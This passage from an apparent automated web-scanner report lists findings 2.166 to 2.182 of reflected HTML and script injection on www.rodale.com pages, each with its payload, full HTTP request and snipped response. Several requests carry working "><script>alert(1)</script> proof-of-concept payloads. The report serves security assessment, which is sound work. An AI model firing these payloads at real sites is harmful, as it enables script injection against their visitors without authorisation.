2.166. http://www.rodale.com/green-school-supplies [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/green-school-supplies

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36946"><a>1385a38e9b4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /green-school-supplies36946"><a>1385a38e9b4 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:29 GMT
Date: Thu, 10 Mar 2011 17:05:29 GMT
Content-Length: 22479
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page green-school-supplies36946"><a>1385a38e9b4 node node-958">
...[SNIP]...

2.167. http://www.rodale.com/green-school-supplies [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/green-school-supplies

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 122cc"><script>alert(1)</script>3d802d1745c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /green-school-supplies?122cc"><script>alert(1)</script>3d802d1745c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:26 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:05:27 GMT
Date: Thu, 10 Mar 2011 17:05:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=2v292tmg9395t6lck999gj8qm6; path=/; domain=.rodale.com
Content-Length: 42547

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/green-school-supplies?122cc"><script>alert(1)</script>3d802d1745c=1&title=Your+A%2B+Guide+to+Green+School+Supplies">
...[SNIP]...

2.168. http://www.rodale.com/happiest-place-live-united-states [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/happiest-place-live-united-states

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26131"><a>705617324d0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /happiest-place-live-united-states26131"><a>705617324d0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:44 GMT
Date: Thu, 10 Mar 2011 17:05:44 GMT
Content-Length: 22515
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page happiest-place-live-united-states26131"><a>705617324d0 node node-958">
...[SNIP]...

2.169. http://www.rodale.com/happiest-place-live-united-states [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/happiest-place-live-united-states

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e255"><script>alert(1)</script>1d4ffd27f15 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /happiest-place-live-united-states?9e255"><script>alert(1)</script>1d4ffd27f15=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:05:42 GMT
Date: Thu, 10 Mar 2011 17:05:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=2c4rqsbjg1e0dfvp45qa98g741; path=/; domain=.rodale.com
Content-Length: 38814

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/happiest-place-live-united-states?9e255"><script>alert(1)</script>1d4ffd27f15=1&title=Be+As+Happy+as+Hawaii%2C+Wherever+You+Live">
...[SNIP]...

2.170. http://www.rodale.com/health [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/health

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c540a"><a>ae53cd85c37 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /healthc540a"><a>ae53cd85c37 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:37:22 GMT
Date: Thu, 10 Mar 2011 17:07:22 GMT
Content-Length: 22434
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page healthc540a"><a>ae53cd85c37 node node-958">
...[SNIP]...

2.171. http://www.rodale.com/health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab44a"><a>bec9423f369 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health?ab44a"><a>bec9423f369=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:05:21 GMT
Date: Thu, 10 Mar 2011 17:05:21 GMT
Content-Length: 26949
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class="">

<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/health?ab44a"><a>bec9423f369=1" title="Register" class="moreLink">
...[SNIP]...

2.172. http://www.rodale.com/heart-attack-triggers [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/heart-attack-triggers

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cdb38"><a>45e9873ee32 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /heart-attack-triggerscdb38"><a>45e9873ee32 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:36:06 GMT
Date: Thu, 10 Mar 2011 17:06:07 GMT
Content-Length: 22479
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page heart-attack-triggerscdb38"><a>45e9873ee32 node node-958">
...[SNIP]...

2.173. http://www.rodale.com/heart-attack-triggers [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/heart-attack-triggers

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbb25"><script>alert(1)</script>564e60a91c5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /heart-attack-triggers?dbb25"><script>alert(1)</script>564e60a91c5=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:06:04 GMT
Date: Thu, 10 Mar 2011 17:06:04 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=2vjhlkk1529r9plm9lb9mg65r3; path=/; domain=.rodale.com
Content-Length: 39517

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/heart-attack-triggers?dbb25"><script>alert(1)</script>564e60a91c5=1&title=6+Surprising+Heart+Attack+Triggers%E2%80%94And+How+to+Avoid+Them">
...[SNIP]...

2.174. http://www.rodale.com/how-prevent-hangover [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/how-prevent-hangover

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2ab9"><a>0521f4e25fc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /how-prevent-hangoverc2ab9"><a>0521f4e25fc HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:53 GMT
Date: Thu, 10 Mar 2011 17:05:53 GMT
Content-Length: 22476
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page how-prevent-hangoverc2ab9"><a>0521f4e25fc node node-958">
...[SNIP]...

2.175. http://www.rodale.com/how-prevent-hangover [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/how-prevent-hangover

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8ca8"><script>alert(1)</script>0882a534b52 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /how-prevent-hangover?d8ca8"><script>alert(1)</script>0882a534b52=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:50 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:05:51 GMT
Date: Thu, 10 Mar 2011 17:05:51 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=fj874quhv9dnimnruns1adqp45; path=/; domain=.rodale.com
Content-Length: 42388

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/how-prevent-hangover?d8ca8"><script>alert(1)</script>0882a534b52=1&title=Eat+Asparagus+to+Prevent+a+Hangover">
...[SNIP]...

2.176. http://www.rodale.com/lean-belly-prescription-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/lean-belly-prescription-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24eff"><a>b3586aad4d0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /lean-belly-prescription-024eff"><a>b3586aad4d0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:13 GMT
Date: Thu, 10 Mar 2011 17:06:13 GMT
Content-Length: 22491
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page lean-belly-prescription-024eff"><a>b3586aad4d0 node node-958">
...[SNIP]...

2.177. http://www.rodale.com/lean-belly-prescription-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/lean-belly-prescription-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2edf2"><a>6a2ca148eca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /lean-belly-prescription-0?2edf2"><a>6a2ca148eca=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 403 Forbidden
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:32 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:05:33 GMT
Date: Thu, 10 Mar 2011 17:05:33 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=o09niatdh18rp05j6e72i1cop6; path=/; domain=.rodale.com
Content-Length: 24254

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/lean-belly-prescription-0?2edf2"><a>6a2ca148eca=1" title="Register" class="moreLink">
...[SNIP]...

2.178. http://www.rodale.com/living [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/living

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a96ab"><a>6b2cdfc6782 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /livinga96ab"><a>6b2cdfc6782 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:44 GMT
Date: Thu, 10 Mar 2011 17:06:44 GMT
Content-Length: 22434
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page livinga96ab"><a>6b2cdfc6782 node node-958">
...[SNIP]...

2.179. http://www.rodale.com/living [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/living

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d84c"><a>59b0f950f6b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /living?6d84c"><a>59b0f950f6b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:15 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:05:20 GMT
Date: Thu, 10 Mar 2011 17:05:20 GMT
Content-Length: 27151
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class="">

<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/living?6d84c"><a>59b0f950f6b=1" title="Register" class="moreLink">
...[SNIP]...

2.180. http://www.rodale.com/natural-sleep-remedies [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/natural-sleep-remedies

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db32a"><a>a3f39864366 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /natural-sleep-remediesdb32a"><a>a3f39864366 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:35:38 GMT
Date: Thu, 10 Mar 2011 17:05:38 GMT
Content-Length: 22482
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page natural-sleep-remediesdb32a"><a>a3f39864366 node node-958">
...[SNIP]...

2.181. http://www.rodale.com/natural-sleep-remedies [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/natural-sleep-remedies

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7af78"><script>alert(1)</script>0ece62a6df9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /natural-sleep-remedies?7af78"><script>alert(1)</script>0ece62a6df9=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:05:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Expires: Thu, 10 Mar 2011 17:05:36 GMT
Date: Thu, 10 Mar 2011 17:05:36 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: SESS173207854f9299da8c63222b0f01afdd=of5a857ajiill0f4bp1taa79m4; path=/; domain=.rodale.com
Content-Length: 42864

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="http://www.stumbleupon.com/submit?url=http://www.rodale.com/natural-sleep-remedies?7af78"><script>alert(1)</script>0ece62a6df9=1&title=Get+a+Good+Night%E2%80%99s+Sleep+with+Skills%2C+Not+Pills">
...[SNIP]...

2.182. http://www.rodale.com/news [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/news

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1836f"><a>caf7a9d9ed0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /news1836f"><a>caf7a9d9ed0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:06:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:36:04 GMT
Date: Thu, 10 Mar 2011 17:06:04 GMT
Content-Length: 22432
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
